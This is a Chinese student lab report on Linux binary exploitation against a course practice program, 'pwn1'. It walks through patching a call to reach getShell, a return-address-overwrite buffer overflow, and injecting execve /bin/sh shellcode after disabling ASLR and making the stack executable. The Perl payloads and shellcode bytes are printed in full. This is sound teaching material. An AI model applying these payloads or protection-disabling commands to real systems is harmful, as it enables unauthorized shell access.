20165319 Exp1 PC平台逆向破解

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学

习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode.。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段

强行修改程序执行流

以及注入运行任意代码。

实验指令

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）

JNE：条件转移指令，如果不相等则跳转。（机器码：75）

JE：条件转移指令，如果相等则跳转。（机器码：74）

JMP：无条件转移指令。段内直接短转Jmp

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实验1 直接修改程序机器指令，改变程序执行流程

1.使用objdump -d pwn1将pwn1反汇编

从上图可以看出，80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令，在main函数中调用位于地址8048491处的foo函数，e8表示“call”，即跳转。如果我们想让函数调用getShell，只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量，我们计算出应该改为c3 ff ff ff。

vi pwn1进入命令模式

输入:%!xxd将显示模式切换为十六进制

在底行模式输入/e8 d7定位需要修改的地方，并确认

然后通过输入模式，将d7改成c3。

输入:%!xxd -r将文件转换为ASCII码形式，输入:wq保存并退出。

反汇编查看修改后的代码，发现成功转换。

运行修改后的代码可得到shell提示符。

实验2 通过构造输入参数，造成BOF攻击

进入gdb，输入1111111122222222333333334444444412345，会发现如下情形

这说明缓冲区溢出。

再输入1234567812345678123456781234567855555555

也会溢出。

输入info r可看到

从上图可以看到eip寄存器中的值为0x35353535。

再输入1234567822345678323456784234567852345678

溢出后，输入info r

看到eip的值为0x34333235

从上述可知寄存器的值是第36-33位。

那只要把这四个字符替换为 getshell 的内存地址，输给20165319pwn2，20165319pwn2就会运行getshell。

由反汇编结果可知getShell的内存地址为：0804847d

退出gdb后，输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

通过管道符|，作为pwn1的输入,格式为(cat BOF.1; cat ) | ./20165319pwn2

实验3 注入Shellcode并运行攻击

首先使用 apt-get install execstack命令安装execstack。然后接连输入：

execstack -s pwn2016513 //设置堆栈可执行

execstack -q pwn2016513 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space

构造一个字符串：

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开另一个终端输入

(cat input_shellcode;cat) | ./pwn1

在原来终端输入ps -ef | grep pwn

在gdb里面attach 35503进行调试

disassemble foo反编译

可以看到ret指令的地址为0x080484ae，在此处设置断点break *0x080484ae

在另一个终端按下回车，这样程序就会执行之后在断点处停下来

再在gdb调试的终端输入 c 继续运行程序

输入info r

可看到esp为0xffffd2fc

则注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置，即0xffffd2fc + 0x00000004 = 0xffffd300

输入perl -e 'print "A" x 32;print"\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

输入（cat input_shellcode；cat）|.20165319pwn3

攻击成功。

实验感想，漏洞危害

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。这些缺陷、错误或不合理之处可能被有意或无意地利用，从而对一个组织的资产或运行造成不利影响，如信息系统被攻击或控制，重要资料被窃取，用户数据被篡改，系统被作为入侵其他主机系统的跳板。。

通过此次实验，我复习了linux和汇编的相关指令，更深地理解了堆栈是怎么被恶意代码覆盖的，覆盖后是怎么实现跳转的，跳转后是怎么执行的；也在实践中掌握了一些常用的指令的机器码以及寄存器的功能。过程中参考了学长学姐的博客才能顺利进行，让我深刻感受到实践能力的缺乏。今后应多加练习，熟能生巧。